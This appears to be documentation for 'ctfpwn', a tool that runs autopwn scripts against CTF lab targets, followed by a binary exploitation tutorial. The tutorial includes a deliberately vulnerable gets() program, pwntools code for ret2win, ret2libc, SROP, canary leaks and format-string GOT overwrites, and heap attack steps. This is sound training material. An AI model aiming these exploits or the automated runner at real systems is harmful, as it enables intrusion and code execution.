- ▸ A CTF binary or challenge (download from TryHackMe, HackTheBox, pwn.college)
- ▸
pwntools:pip install pwntools - ▸
gdb-pwndbg:yay -S pwndbg
set binary ./chall set operation analyze run
- • Easy: analyze, checksec, strings_dump
- • Medium: bof_detect, ret2libc, format_string
- • Advanced: rop_chain, heap_exploit, kernel_pwn
Overview
What ctfpwn does
ctfpwn is VANTA's CTF automation module. It clones the 0xb0rn3/CTFs repository, mirrors all rooms to ~/ZX01C/CTF/, and runs the standalone autopwn script for any room directly against a target IP. Flag patterns — THM{}, HTB{}, and flag{} — are extracted automatically from script output and printed inline.
Room state is tracked in ~/.vanta/ctfs_state.json so ctfpwn knows exactly which rooms appeared since your last pull. Every run writes a full log to ~/ZX01C/CTF/<room>/run_<timestamp>.log.
github.com/0xb0rn3/CTFs to ~/.vanta/ctfs/ on first run, then pulls on every subsequent call.THM{}, HTB{}, and flag{} patterns and prints matches immediately.~/.vanta/ctfs_state.json. Rooms added since last pull are marked in list output.~/ZX01C/CTF/<room>/run_<timestamp>.log for review.THM, HTB, or ALL. Defaults to TryHackMe.Quick Start
Running ctfpwn
Connect to your platform VPN before running any autopwn script. Then load ctfpwn and pull the latest rooms.
# Pull all rooms on first run
VANTA
vanta ❯ use ctfpwn
VANTA (ctfpwn) ❯ set operation pull
VANTA (ctfpwn) ❯ run none
# List all rooms sorted newest first
VANTA (ctfpwn) ❯ set operation list
VANTA (ctfpwn) ❯ run none
Run a specific room
VANTA (ctfpwn) ❯ set operation run
VANTA (ctfpwn) ❯ set ctf simplectf
VANTA (ctfpwn) ❯ run 10.10.85.42
Run latest room against a target
VANTA (ctfpwn) ❯ set operation latest
VANTA (ctfpwn) ❯ run 10.10.85.42
Reference
Operations
The operation parameter controls what ctfpwn does when run is called.
~/ZX01C/CTF/ and updates the state file.run, executes that room's autopwn script immediately.ctf parameter to identify the room.query parameter.lhost, lport, and payload_type. Uses the revshell module internally.search operation scans room names, writeups, AND exploit scripts. On large repos this can take a few seconds. Results include file paths so you know exactly where a match was found.
Reference
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
operation |
string | list | Operation to run: list, pull, latest, run, info, search, or new. |
ctf |
string | — | Room name for run and info operations. Case-insensitive, partial match supported. E.g. simple matches simplectf. |
platform |
string | THM | Platform filter applied to list, new, and search. Values: THM, HTB, or ALL. |
query |
string | — | Search term for the search operation. Matched against room names, writeup text, and script source. |
How It Works
Sync and run workflow
Understanding the pull and run sequence helps when debugging connectivity or stale room state.
Sync workflow
git clone https://github.com/0xb0rn3/CTFs ~/.vanta/ctfs/. On subsequent pulls, git pull inside the same directory fetches any new commits.~/ZX01C/CTF/<room_name>/. Existing files are overwritten with the latest version from the repo.~/.vanta/ctfs_state.json. The previous state is compared to detect which rooms are new since the last pull.list, new, and the pull summary.Run workflow
ctf parameter is matched case-insensitively against room names in ~/.vanta/ctfs/. Partial matches are accepted — first match wins.python3 exploit.py <target_ip>. Output is streamed to the terminal in real time while being captured for log and flag extraction.THM\{[^}]+\}, HTB\{[^}]+\}, or flag\{[^}]+\} are printed as extracted flags. The full run log is written to ~/ZX01C/CTF/<room>/run_<timestamp>.log.State file structure
The state file at ~/.vanta/ctfs_state.json records the room list and pull timestamp. The new operation diffs current vs previous state to find additions.
{
"last_pull": 1746403200,
"rooms": [
"Biohazard",
"AttacktiveDirectory",
"simplectf",
"rootmeCTF"
]
}
Room List
Available rooms
25 TryHackMe rooms, sorted newest first. HTB rooms are in progress.
TryHackMe (25 rooms)
| # | Room | Platform |
|---|---|---|
| 01 | Biohazard | THM |
| 02 | AttacktiveDirectory | THM |
| 03 | UltraTech | THM |
| 04 | Blog | THM |
| 05 | 0day | THM |
| 06 | Dogcat | THM |
| 07 | Ghizer | THM |
| 08 | Relevant | THM |
| 09 | Wgel | THM |
| 10 | Wonderland | THM |
| 11 | Cheese-CTF | THM |
| 12 | Year of the pig | THM |
| 13 | Rabbit_Store | THM |
| 14 | Silver_Platter | THM |
| 15 | crypto_failures | THM |
| 16 | sticker_shop | THM |
| 17 | chill-hack | THM |
| 18 | W1seGuy | THM |
| 19 | agent_sudo | THM |
| 20 | bounty_hacker | THM |
| 21 | Hidden_Deep_Into_My_Heart | THM |
| 22 | VulnNet-Internal | THM |
| 23 | pickle-rick | THM |
| 24 | simplectf | THM |
| 25 | rootmeCTF | THM |
HackTheBox
Coming soon. Set platform HTB to filter for HTB rooms once available.
Usage
Examples
List all CTFs
vanta ❯ use ctfpwn
VANTA (ctfpwn) ❯ set operation list
VANTA (ctfpwn) ❯ run none
Pull and sync everything
VANTA (ctfpwn) ❯ set operation pull
VANTA (ctfpwn) ❯ run none
# Output
[+] Pulling 0xb0rn3/CTFs ...
[+] Mirrored 25 rooms to ~/ZX01C/CTF/
[+] 2 new rooms since last pull: Biohazard, AttacktiveDirectory
Run latest against a target
VANTA (ctfpwn) ❯ set operation latest
VANTA (ctfpwn) ❯ run 10.10.85.42
# Runs Biohazard autopwn against 10.10.85.42
Run a specific room
VANTA (ctfpwn) ❯ set operation run
VANTA (ctfpwn) ❯ set ctf simplectf
VANTA (ctfpwn) ❯ run 10.10.85.42
# Output
[+] Running simplectf against 10.10.85.42
[+] Flag found: THM{Mg1tsM@g1c}
[+] Log saved: ~/ZX01C/CTF/simplectf/run_1746403200.log
Search by technique
VANTA (ctfpwn) ❯ set operation search
VANTA (ctfpwn) ❯ set query ssti
VANTA (ctfpwn) ❯ run none
# Scans room names, writeups, and exploit scripts for "ssti"
See what is new since last pull
VANTA (ctfpwn) ❯ set operation new
VANTA (ctfpwn) ❯ run none
Read a room's writeup
VANTA (ctfpwn) ❯ set operation info
VANTA (ctfpwn) ❯ set ctf dogcat
VANTA (ctfpwn) ❯ run none
Filter by platform
VANTA (ctfpwn) ❯ set operation list
VANTA (ctfpwn) ❯ set platform ALL
VANTA (ctfpwn) ❯ run none
Dependencies
Required and optional tools
ctfpwn itself only needs Python 3 and git. Individual room scripts may require additional tools depending on the techniques they use.
| Tool | Required | Used for |
|---|---|---|
python3 | Yes | Running ctfpwn and autopwn scripts |
git | Yes | Cloning and pulling the CTFs repo |
nmap | Optional | Most room scripts use nmap for initial port scanning |
gobuster | Optional | Web rooms that include directory or vhost brute-forcing |
sshpass | Optional | Privesc scripts that automate SSH login with a found credential |
hydra | Optional | Brute force rooms requiring credential spraying |
nodejs | Optional | Rooms with JavaScript-based exploits |
Install required dependencies
# Debian / Ubuntu / Kali
sudo apt install python3 git nmap gobuster sshpass hydra nodejs
# Arch / CachyOS
sudo pacman -S python git nmap gobuster sshpass hydra nodejs
Binary Exploitation Architecture
What is binary exploitation? Programs compiled from C/C++ run directly on the CPU as machine code. When a programmer makes a mistake — trusting user input for a size, forgetting a null terminator, using a freed pointer — an attacker can feed crafted input that corrupts memory and hijacks the program's execution. Binary exploitation is the art of turning memory corruption bugs into controlled code execution.
CPU registers (x86-64)
General purpose registers (64-bit names, 32-bit in parentheses):
RAX (EAX) — return value, accumulator
RBX (EBX) — base, callee-saved
RCX (ECX) — counter, 4th arg (System V AMD64 ABI)
RDX (EDX) — data, 3rd arg
RSI (ESI) — source index, 2nd arg
RDI (EDI) — destination index, 1st arg
RBP (EBP) — frame pointer (base of current stack frame)
RSP (ESP) — stack pointer (top of stack — grows DOWN)
RIP (EIP) — instruction pointer (next instruction to execute)
R8–R15 — additional argument/scratch registers
# System V AMD64 calling convention (Linux):
# First 6 args in: RDI, RSI, RDX, RCX, R8, R9
# Return value: RAX
# Stack must be 16-byte aligned before CALL
Stack frame layout
# When function foo() calls bar():
# CALL instruction: pushes RIP (return address) then jumps to bar
High addresses
┌─────────────────────┐ ← caller's frame
│ local vars (foo) │
│ saved RBP │ ← foo's frame pointer
│ return addr →foo │ ← pushed by CALL instruction
├─────────────────────┤ ← bar's frame starts here
│ saved RBP │ ← PUSH RBP (first instruction of bar)
│ │ ← RBP now points here
│ local vars (bar) │
│ [buffer[64]] │ ← char buf[64] lives here
│ │
└─────────────────────┘ ← RSP (top of stack)
Low addresses
# Stack grows DOWN: RSP decreases as you push/allocate
# GDB: examine stack
(gdb) x/20xg $rsp # dump 20 qwords from RSP
(gdb) info frame # show saved RIP, RBP of current frame
ELF binary format (Linux executables)
ELF Header (64 bytes):
7F 45 4C 46 # Magic: "\x7fELF"
02 # EI_CLASS = 2 (64-bit)
01 # EI_DATA = 1 (little-endian)
01 # EI_VERSION = 1
00 # EI_OSABI = 0 (System V)
[8 bytes padding]
02 00 # e_type = ET_EXEC (executable) or 03=ET_DYN (PIE)
3E 00 # e_machine = 0x3E = x86-64
[entry point, phoff, shoff, flags, header size...]
Key ELF sections:
.text — executable code (r-x)
.data — initialised global variables (rw-)
.bss — uninitialised globals, zeroed at startup (rw-)
.rodata — read-only data: string literals (r--)
.plt — Procedure Linkage Table: stubs for libc functions
.got.plt — Global Offset Table: resolved library addresses
.dynamic — dynamic linking info (NEEDED libraries, etc.)
Binary mitigations (checksec output)
| Mitigation | What it does | Bypass technique |
|---|---|---|
| NX / DEP | Stack + heap not executable (W^X) | ROP — reuse existing code gadgets |
| ASLR | Randomizes stack/heap/library base addresses | Leak a pointer, calculate offsets |
| PIE | Randomizes the binary's own base address | Leak binary address (format string, partial overwrite) |
| Stack Canary | Random value before saved RIP; checked before return | Leak canary (format string), brute force (32-bit) |
| RELRO (Full) | GOT made read-only after startup | Harder — need heap/BSS as write target instead |
# ctfpwn checksec output:
{
"nx": true, # NX enabled — no shellcode on stack
"pie": true, # PIE — binary randomized
"canary": true, # Stack canary present
"relro": "full", # Full RELRO — GOT is read-only
"arch": "amd64"
}
Buffer Overflow: From Zero to Shell
What is a buffer overflow? A buffer is a region of memory used to store data temporarily. When a program copies input into a fixed-size buffer without checking the input length, you can write past the end of the buffer into adjacent memory — including the saved return address on the stack. By controlling what you write there you control where the program jumps when the function returns.
Vulnerable C code
#include <stdio.h>
#include <string.h>
void vuln() {
char buf[64]; // 64 bytes on stack
gets(buf); // reads until newline — NO LENGTH CHECK
printf("Hello, %s\n", buf);
}
int main() {
vuln();
return 0;
}
# Stack layout in vuln():
# [buf: 64 bytes][saved RBP: 8 bytes][saved RIP: 8 bytes]
# Total to saved RIP: 64 + 8 = 72 bytes
# Send 72 bytes of padding + 8-byte target address → hijack RIP
Finding the offset (ctfpwn bof_detect)
# Method 1: cyclic pattern (pwntools)
from pwn import *
io = process("./vuln")
io.sendline(cyclic(200))
io.wait()
# Read crash: core dump or dmesg
core = Coredump("./core")
offset = cyclic_find(core.fault_addr)
print(f"Offset to RIP: {offset}")
# Method 2: manual binary search
# Send 80 A's, 88 A's, 96 A's — watch when RIP becomes 0x4141414141414141
# Method 3: ctfpwn bof_detect runs automated fuzzing loop
ret2win exploit (no ASLR, no PIE)
from pwn import *
# Target binary has a win() function at 0x401234 that calls system("/bin/sh")
elf = ELF("./vuln")
win_addr = elf.sym["win"] # or: p64(0x401234)
offset = 72 # bytes until saved RIP
payload = b"A" * offset # padding to reach saved RIP
payload += p64(win_addr) # overwrite RIP with win()'s address
io = process("./vuln")
io.sendline(payload)
io.interactive() # get the shell
Stack canary bypass via format string leak
# If binary has both a format string bug AND a buffer overflow:
# Step 1: leak the canary with the format string bug
io.sendline(b"%11$p") # print 11th stack argument (adjust index for binary)
leaked = int(io.recvline(), 16)
canary = leaked
print(f"Canary: {hex(canary)}")
# Step 2: construct overflow with correct canary in place
payload = b"A" * 64 # fill buffer
payload += p64(canary) # canary MUST match exactly
payload += p64(0) # saved RBP (can be anything)
payload += p64(win_addr) # overwrite RIP
Return-Oriented Programming (ROP)
NX/DEP prevents executing shellcode on the stack. But you can still control execution by chaining gadgets — small sequences of existing code that end with a RET instruction. Each gadget pops the next return address off the stack and jumps there, so your stack payload is a chain of gadget addresses that collectively do something useful.
What is a gadget?
# A gadget is any instruction sequence ending in RET found in the binary or libc
# Examples:
# 0x401234: pop rdi ; ret ← set RDI (1st argument) to any value
# 0x401238: pop rsi ; ret ← set RSI (2nd argument)
# 0x401240: pop rdx ; ret ← set RDX (3rd argument)
# 0x40129a: ret ← stack alignment gadget (16-byte align for libc)
# Find gadgets:
ROPgadget --binary ./vuln --rop
ropper -f ./vuln
# ctfpwn rop_chain generates candidates automatically
ret2libc chain (calling system("/bin/sh"))
from pwn import *
elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Step 1: leak a libc address to defeat ASLR
# Use a puts(got["puts"]) gadget:
rop = ROP(elf)
rop.raw(rop.find_gadget(["pop rdi", "ret"])[0]) # pop rdi ; ret
rop.raw(elf.got["puts"]) # rdi = GOT address of puts
rop.raw(elf.plt["puts"]) # call puts(GOT[puts])
rop.raw(elf.sym["main"]) # return to main for second stage
payload = flat({offset: rop.chain()})
io.sendline(payload)
# Parse leaked address
leaked_puts = u64(io.recvline()[:6].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.sym["puts"] # calculate libc base
# Step 2: call system("/bin/sh") with known libc base
binsh = next(libc.search(b"/bin/sh\x00"))
system = libc.sym["system"]
rop2 = ROP([elf, libc])
rop2.raw(rop2.ret.address) # alignment gadget
rop2.raw(rop2.find_gadget(["pop rdi", "ret"])[0])
rop2.raw(binsh)
rop2.raw(system)
payload2 = flat({offset: rop2.chain()})
io.sendline(payload2)
io.interactive()
SROP (Sigreturn-Oriented Programming)
# When gadgets are scarce (tiny binary, stripped), use SROP:
# sigreturn syscall (15) restores ALL registers from a sigframe on the stack
# You control the entire CPU state in one gadget
from pwn import *
context.arch = "amd64"
# Build a fake sigframe that sets RIP=system, RDI="/bin/sh", RSP=stack
frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve
frame.rdi = binsh_addr # "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_addr # syscall ; ret gadget
payload = flat({offset: [syscall_gadget, SigreturnFrame_size, frame]})
Heap Exploitation
The heap is a dynamically allocated memory region managed by ptmalloc2 (glibc's allocator). When a bug lets you read or write out of bounds on a heap chunk, or use memory after it's been freed, you can corrupt allocator metadata and redirect the next malloc() call to return an arbitrary address — giving you a write primitive anywhere in memory.
malloc chunk layout
# Every malloc(n) allocation is a "chunk" with a header:
# (on 64-bit — header is 16 bytes)
Allocated chunk:
[prev_size: 8B] — only used when prev chunk is FREE
[size: 8B] — includes flags in low 3 bits
bit 0 (P) = previous chunk in use
bit 1 (M) = mmapped
bit 2 (A) = non-main arena
[user data: n bytes, padded to 16-byte alignment]
Free chunk (returned to allocator):
[prev_size: 8B]
[size: 8B] (P bit = 0)
[fd: 8B] — forward pointer (next free chunk)
[bk: 8B] — backward pointer (prev free chunk)
[... rest of user data space ...]
# The fd/bk pointers in a free chunk are INSIDE the user data region
# → corrupting the user data of a freed chunk corrupts the free list
tcache (glibc 2.26+)
# tcache = per-thread singly-linked free list, one per size class (up to 0x408)
# Each size has a "bin" holding up to 7 freed chunks
# tcache entry: [next: 8B][key: 8B][user data...]
# "next" points to the next free chunk in the bin
# tcache poisoning attack:
# 1. Allocate two same-size chunks: A, B
# 2. Free B, then A (A is now tcache head: A→B→NULL)
# 3. Overflow/UAF to corrupt A's "next" pointer → set to target address
# 4. malloc() returns A (pops from tcache)
# 5. malloc() again → tcache head is now target → returns target address!
# 6. Write to that malloc() return value → arbitrary write
# Example with ctfpwn rop_chain:
# Corrupt tcache next → point to __free_hook or __malloc_hook
# Write system address there → next free(ptr_to_binsh) calls system("/bin/sh")
Use-After-Free (UAF)
# UAF: use a pointer after the memory it pointed to was freed
# If the freed chunk is re-allocated (to a different object), the stale pointer
# now points INTO the new object's data — type confusion attack
struct Obj {
void (*fn)(); // function pointer at offset 0
char data[56]; // data buffer
};
// UAF flow:
Obj *a = malloc(sizeof(Obj)); // allocate
a->fn = legit_function;
free(a); // freed — chunk returned to tcache
char *b = malloc(64); // same size → same chunk returned
memcpy(b, attacker_input, 64); // fill with attacker data
a->fn(); // UAF: a points to freed/reallocated chunk
// a->fn is now attacker_input[0..7] → arbitrary function call
Format String Exploitation
What is a format string bug? The C function printf(fmt, ...) treats the format string as instructions: %s reads a string pointer from the stack, %d reads an integer, %x reads a hex value. If user input is passed directly as the format string — printf(user_input) instead of printf("%s", user_input) — the attacker controls those instructions.
Reading arbitrary memory
# printf reads arguments off the stack in order.
# If you supply more format specifiers than arguments, it reads whatever's there.
# %N$p reads the Nth argument (stack word) as a pointer.
# Send: "%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p"
# Output: 0x7fff... (stack addresses), 0x555... (binary addresses), etc.
# Identify canary (usually 0x????..??00 — last byte always 0x00):
# → use it to bypass stack canary in accompanying buffer overflow
# Identify saved RIP → compute PIE/libc offsets → defeat ASLR
# ctfpwn format_string operation:
# Sends probes "%N$p" for N=1..50, parses output, identifies canary + libc base
Writing memory with %n
# %n writes the NUMBER OF BYTES PRINTED SO FAR to the address in the next arg
# This is a write primitive — you can write any 4-byte value anywhere writable
# Write 0x4141 (16705) to address target_addr:
# Step 1: Pad output to 16705 bytes using %16705c (print 16705-wide char)
# Step 2: %N$n — write count to Nth stack argument (which points to target)
from pwn import *
io = process("./vuln")
target = elf.got["puts"] # overwrite GOT entry for puts → redirect to win()
# %8$n writes to the address at stack arg 8
# Arrange: target address sits at stack position 8 (often after ~48 bytes of input)
fmt = f"%{win_addr}c%8$n".encode() # write win_addr's value
fmt = fmt.ljust(8) # align to 8 bytes
fmt += p64(target) # address to write to at stack pos 8
io.sendline(fmt)
io.interactive() # next call to puts() → jumps to win()
Customization & Extension
Adding a custom exploit generator
# tools/ctf/ctfpwn.py — extend with custom exploit template generator
EXPLOIT_TEMPLATES = {
"ret2win": """from pwn import *
elf = ELF('{binary}')
io = process(elf.path)
win = elf.sym['{win_fn}']
payload = b'A' * {offset} + p64(win)
io.sendline(payload)
io.interactive()
""",
"ret2libc": """from pwn import *
elf = ELF('{binary}')
libc = ELF('{libc}')
rop = ROP(elf)
# Stage 1: leak puts address...
""",
}
def generate_exploit(template_name, **kwargs):
template = EXPLOIT_TEMPLATES.get(template_name)
if not template:
return {"error": f"Unknown template: {template_name}"}
code = template.format(**kwargs)
outfile = f"exploit_{template_name}.py"
with open(outfile, "w") as f:
f.write(code)
return {"generated": outfile, "code": code}
Adding a custom binary analyzer
# Add: automatic vuln function detector (grep for dangerous libc calls)
import subprocess, re
DANGEROUS_FUNCTIONS = [
"gets", "strcpy", "strcat", "sprintf", "scanf",
"vsprintf", "memcpy", # check if size is user-controlled
"system", # if reachable, it's a win condition
]
def find_dangerous_calls(binary_path):
result = subprocess.run(
["objdump", "-d", binary_path],
capture_output=True, text=True
)
findings = []
for fn in DANGEROUS_FUNCTIONS:
pattern = re.compile(rf'call.*<{fn}')
matches = pattern.findall(result.stdout)
if matches:
findings.append({"function": fn, "calls": len(matches)})
return {"dangerous_calls": findings}
# Register as ctfpwn operation:
# { "name": "vuln_scan", "description": "Detect dangerous libc call sites" }
Extending the ROP chain finder
# ctfpwn rop_chain already runs ROPgadget — extend it to auto-suggest chains
from pwn import ROP, ELF
def suggest_rop_chain(binary_path):
elf = ELF(binary_path)
rop = ROP(elf)
suggestions = []
# Try ret2win
for sym in ["win", "shell", "flag", "backdoor", "get_flag"]:
if sym in elf.sym:
suggestions.append({
"type": "ret2win",
"target": sym,
"address": hex(elf.sym[sym])
})
# Check for system@plt
if "system" in elf.plt:
suggestions.append({
"type": "ret2plt_system",
"note": "system@plt found — pair with /bin/sh string and pop rdi gadget"
})
# Check for syscall gadget (for SROP)
try:
syscall = rop.find_gadget(["syscall", "ret"])
if syscall:
suggestions.append({"type": "srop_candidate",
"syscall_gadget": hex(syscall.address)})
except Exception:
pass
return {"suggestions": suggestions}
Learning Path
Recommended resources (free first)
| Resource | Format | Focus |
|---|---|---|
| pwn.college | Free interactive course | Binary exploitation from first principles — ASU curriculum |
| exploit.education | Free VMs | Phoenix/Protostar challenges (stack, heap, format string) |
| CTFtime.org | Event listing | Find live CTFs by difficulty, category |
| TryHackMe — Heap Exploitation | Guided lab | tcache, fastbin, house-of-force |
| pwntools docs | Reference | Complete API for ELF, ROP, tubes, cyclic |
| Hacking: The Art of Exploitation — Jon Erickson | Book | x86 ASM, stack overflows, shellcoding from scratch |
| ROP Emporium | Free challenges | 8 progressive ROP exercises (ret2win → SROP) |
| how2heap | Code + explanation | Every heap technique with working PoC (tcache, fastbin, etc.) |
Practice progression (10 weeks)
Week 1 — Assembly and memory
▸ pwn.college: Assembly Crash Course module
▸ Write "hello world" in nasm x86-64 assembly, compile, run
▸ GDB basics: break, run, x/20xg $rsp, info registers
Week 2 — Stack overflows (no mitigations)
▸ exploit.education: Protostar stack0–stack6
▸ ctfpwn analyze + bof_detect on each binary
▸ pwn.college: Program Interaction module
Week 3 — ret2win and shellcode
▸ ROP Emporium: ret2win (x86 and x86-64)
▸ Write 24-byte shellcode: execve("/bin/sh", NULL, NULL)
▸ pwn.college: Shellcode Injection module
Week 4 — Defeating NX: ROP chains
▸ ROP Emporium: split → callme → write4 → badchars
▸ Learn ROPgadget and ropper
▸ Build a ret2libc chain manually (no pwntools helpers)
Week 5 — ASLR + PIE bypass
▸ ROP Emporium: fluff → pivot → ret2csu
▸ Practice: leak GOT entry → compute libc base → ret2system
▸ ctfpwn rop_chain on a PIE binary
Week 6 — Stack canary bypass
▸ Format string leak + overflow combo
▸ exploit.education: Format String challenges
▸ ctfpwn format_string on a test binary
Week 7 — Heap fundamentals
▸ how2heap: tcache_poisoning, fastbin_dup
▸ TryHackMe: Heap Exploitation room
▸ ctfpwn heap_exploit on a test program
Week 8 — CTF practice
▸ CTFtime.org — join a beginner CTF (picoCTF, HSCTF)
▸ Solve at least 3 pwn challenges
▸ Read writeups for challenges you couldn't solve
Week 9 — Kernel basics
▸ pwn.college: Kernel Exploitation module (intro)
▸ Learn: kernel module structure, syscall table, ret2user
Week 10 — Competition readiness
▸ Set up a fast environment: pwndbg + pwntools + tmux
▸ Build a challenge template (ctfpwn generate or your own)
▸ Join a real CTF team on CTFtime.org
Essential tools
| Tool | Purpose | Install |
|---|---|---|
| pwntools | Exploit scripting: ELF, ROP, tubes, cyclic | pip install pwntools |
| pwndbg | GDB plugin: heap vis, ROP search, context | yay -S pwndbg |
| ROPgadget | Find ROP gadgets in binaries | pip install ROPGadget |
| ropper | Alternative gadget finder with filtering | pip install ropper |
| Ghidra | NSA decompiler — C pseudocode from binary | ghidra-sre.org (free) |
| checksec | Binary mitigation summary | included with pwntools |
| one_gadget | Find one-shot execve gadgets in libc | gem install one_gadget |